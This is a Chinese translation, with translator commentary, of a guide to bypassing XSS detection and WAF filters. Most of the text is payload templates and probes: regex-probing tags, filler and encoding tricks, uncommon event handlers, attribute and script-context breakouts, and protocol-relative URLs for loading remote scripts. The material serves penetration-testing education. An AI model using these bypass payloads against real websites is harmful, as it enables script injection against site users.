文本采用(CC-BY-NC-ND)
非商用可轉載,不可修改本文內容
===================
這是一篇翻譯文章,翻譯加自己的理解。嗯 不是機器翻譯 是我理解后的翻譯 謝謝
順便我會盡可能加上場景和一些業務實際情況解讀
原文叫做《Bypassing XSS Detection Mechanisms 》,是個pdf。。。 到時候可以發出來 吧
啊啊啊啊啊 翻譯開始啦
摘要就不翻譯了 沒啥東西
對讀者的話
作者假設,讀者應該具有一定基礎的xss,比如javascript,html編程能力、瀏覽器機制和渲染過程、基本的w3c協議規范等。
下文中的{string}是貫穿全文,用來當做payload占位符的。{?string}表示的是一個可選的payload選項
主要字符表示的是在payload中必須要有的字符,例如url encode和url unsafe code中的+號和&。
HTML文本
如果html input中的參數存在反射型xss,那么就是說這是一個存在於html上下文中的xss,也就是常說的html injection。
而根據xss出現的位置又可以進一步被分為幾種情況。
標簽內<input type="text" value="$input">
標簽外<span>You entered $input</span>
外部的標簽
對於開始創建一個html來說,"<"字符是主要字符。根據html規范,一個標簽必須是字母開頭的,根據這個原理,下面的這些payload就可以用來探測后端檢測xss的正則是怎樣的一個邏輯
● <svg - 如果通過檢測, 沒有進行任何標簽檢查 ● <dev -如果沒有通過,后端正則可能是<[a-z]+ ● x<dev -如果通過了,后端可能是^<[a-z]+ ● <dEv - 如果沒有通過, <[a-zA-Z]+ ● <d3V - 如果沒有通過, <[a-zA-Z0-9]+ ● <d|3v - 如果沒有通過, <.+
如果以上的payload都沒通過,那么很可能是白名單之類的,那么就基本上無法繞過。我們不提倡這樣的過濾方式,因為這些過濾方式誤報率很高,而且以下任意一個位置如果被bypass了,那么將會有一大堆的payload爆發。。。舉個荔枝
<{標簽}{填充符}{事件}{?填充符}={?填充符}{javascript}{?填充符}{>,//,空格,Tab,LF}
一旦找到一個正常可用的標簽后,下一步就是要猜測后端的正則是如何檢測標簽和事件之間的填充符的,以下payload就可以測試出結果。
注:填充符就是類似 <a onclick=xxx>中的空格,或者一些<img/onload>中的/ 用於填充的部分。
● <tag xxx - 如果不通過, 可能是{space} ● <tag%09xxx - 如果不通過, 可能是[\s] ● <tag%09%09xxx - 如果不通過, 可能是\s+ ● <tag/xxx - 如果不通過, 可能是[\s/]+ ● <tag%0axxx - 如果不通過, 可能是[\s\n]+ ● <tag%0dxxx> - 如果不通過, 可能是 [\s\n\r+]+ ● <tag/~/xxx - 如果不通過, 可能是 .+
htlm中的事件是payload編寫和測試中非常重要的一部分,這些事件經常被一些類似on\w+開頭的正則匹配到 或者是一些類似on(load|click|error|show).匹配的黑名單。用白名單來檢測的一般比較難繞過,但是黑名單就比較容易多了,可以通過一些不為人知的,或者很少有人知道的一些事件來繞過這樣的黑名單,畢竟黑名單可能不一定全。譯者注:比如不同瀏覽器陣營對自己瀏覽器的一些新事件的支持,這個不是一般廠商會跟進和追蹤的。
以上兩種檢測手段我們可以簡單的通過以下兩種方式來檢測:
● <tag{filler}onxxx - 如果未通過, on\w+. 如果通過, on(load|click|error|show) ● <tag{filler}onclick - 如果通過, 目有任何檢測
如果后端是檢測on\w+的方式,那么。。任何on開頭的事件都繞不過的。遇到這樣的情況,直接跳過,想辦法去繞過其他部分。如果后端是黑名單檢查的,那只要找到一個不在黑名單中的事件就行了,如果真的有黑名單很厲害,都檢測到了,那么。。。還是找其他的部分地方去繞。
以下幾個事件是作者研究了很多waf后,覺得經常可以繞過的:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
=號右邊的填充符的檢測和上面提到的一樣, 只有在以下payload 被waf干掉的情況下去測試
<標簽{填充符}{事件}=d3v
下一個組件是javascript的執行。是payload的主要執行部分,這一部分由於是js部分,一般的正則表達式也無法去匹配若干種情況,而且可能和業務沖突。所以 ,payload的所有部分都放在了一起,只要閉合就可以了。
● <payload> ● <payload ● <payload{space}
● <payload// ● <payload%0a ● <payload%0d ● <payload%09
要注意的是,html規范支持這種情況
<tag{white space}{anything here}>
以至於以下這樣的情況也是合法的
<a href='http://example.com' 這個地方可以是任何的字符,只要最后有一個”>“標記存在就行了!!!!是不是很厲害????好傻逼啊。。。>
這樣就很有可能讓黑客注入html了,比如:
<sCriPt{填充符}sRc{?填充符}={?填充符}{url}{?填充符}{>,//,Space,Tab,LF}
填充符和結束符的檢測和前面提到的方法差不多。要注意的是,?可以在url的最后,如果url后沒有填充符,而不是結束標簽的時候。使用script標簽很容易被規則檢測到,但是object就不一定了。
如果用object的話 就是以下這樣的表達方式:
<obJecT{填充符}data{?填充符}={?填充符}{url}{?填充符}{>,//,Space,Tab,LF}
接下來的payload有2種形式,簡單的和混淆復雜的
簡單的類型一般會被這樣的表達式給捕獲
href[\s]{0,}=[\s]{0,}javascript:
而通常的構造的結構一般是
<A{填充符}hReF{?填充符}={?填充符}JavaScript:{js內容}{?填充符}{>,//,Space,Tab,LF}
混淆復雜的情況的payload一般是這樣:
<A{填充符}hReF{?填充符}={?填充符}{引號}{special}:{js內容}{quote}{?填充符}{>,//,Space,Tab,L F}
主要2者的區別在與 special部分和引號部分。special部分主要就是可以使用一些類似javascript之類的東西,當然這個部分是可以插入換行和制表符或者新行,比如以下
● j%0aAv%0dasCr%09ipt: ● J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a: ● J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
一些數字的編碼,8進制,16進制也可以幫你繞過檢查,比如(傻逼編輯器只能讓我這樣操作)
這兩種也可以放在一起用,比如:
可執行環境和不可執行環境
不可執行環境主要是類似以下這樣情況的
<style> <title> <noembed> <template> <noscript> <textarea>
在這些標簽里出現的內容一般都是不可執行的。要執行這樣的標簽,必須先閉合。以下payload也可以閉合這些標簽
● </tag> ● </tAg/x> ● </tag{space}>
● </tag//> ● </tag%0a> ● </tag%0d> ● </tag%09>
內部標簽
在屬性內的
對於在屬性內的xss來說,最主要的字符是單雙引號,因為這樣的xss需要閉合才可以執行。如果是以下這種反射型xss的話,那么主要字符就是雙引號。
<input value="$input" type="text">
但是有些情況下就不一定要求閉合了,例如
<tag event_handler="function($input)">,
這種情況下就是直接在屬性內直接執行了js函數了。
在"src"屬性中
如果是類似在src屬性中的xss的話,比如
<script src="$input">,
那就非常簡單了,直接可以遠程加載一個js就行了。翻譯的我太尷尬了太尼瑪弱智了
繞過url正則檢測
● //example.com/xss.js bypasses http(?s):// ● ////////example.com/xss.js bypasses (?:http(?s):?)?// ● /\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+
在"srcdoc"屬性中
如果是在srcdoc屬性中的類似
<iframe srcdoc="$input">
那么,可以通過
<iframe srcdoc="<svg/onload=alert()>"">
的方式繞過檢查。
一般的屬性
例如出現在value屬性中的
<input type="text" value=""/onfocus="alert()$input">
像這種input框的xss,可以通過注入onclick onfocus hovering等一大堆的事件來觸發檢測,但是只是必須要閉合下引號,這類的xss我們可以抽象出來一個表達式
{引號}{填充符}{事件}{?填充符}={?填充符}{javascript}
檢查引號是否會被waf干掉你只要直接輸入下引號就行了。。。(這不是廢話么-_-!)
有些事件是只能在areatext input等表單上的,有些事件只能在一些其他的對象上,不是所有的事件都是可以用於所有的document對象上的。但是以下這些事件是任何對象都可以的。
onclick onauxclick ondblclick ondrag ondragend ondragenter ondragexit ondragleave
ondragover ondragstart onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup
Javascript環境
在變量內
var name = '$input';
這種可以抽象出來
{引號}{分割符}{js代碼}{分割符}{引號}
分割符一般就是類似“^”這種,一般出現在這種單引號內的可能就是以下這些情況
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
payload情況2
{引號}{分割符}{javascript}//
例如
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
在代碼塊內
function example(age, subscription){ if (subscription){ if (age > 18){ another_function('$input'); } else{ console.log('Requirements not met.'); } }
如果像是這種在代碼塊內部的xss,那么就要先閉合代碼塊(。。。這個可以其實可以通過調整函數優先級,提前定義並執行。。作者這個比較常規)
比如我們輸入
那么最后的代碼就是
function example(age, subscription){ if (subscription){ if (age > 18){ another_function('');}}alert();if(true){(''); } else{ console.log('Requirements not met.'); } }
格式化下代碼 看的更明白點
function example(age, subscription){
if (subscription){ if (age > 18){ another_function('');
} } alert(); if (true){ (''); } else{ console.log('Requirements not met.'); }
}
);閉合了函數調用
后面這些就不翻譯了。。感覺就有點蠢。。。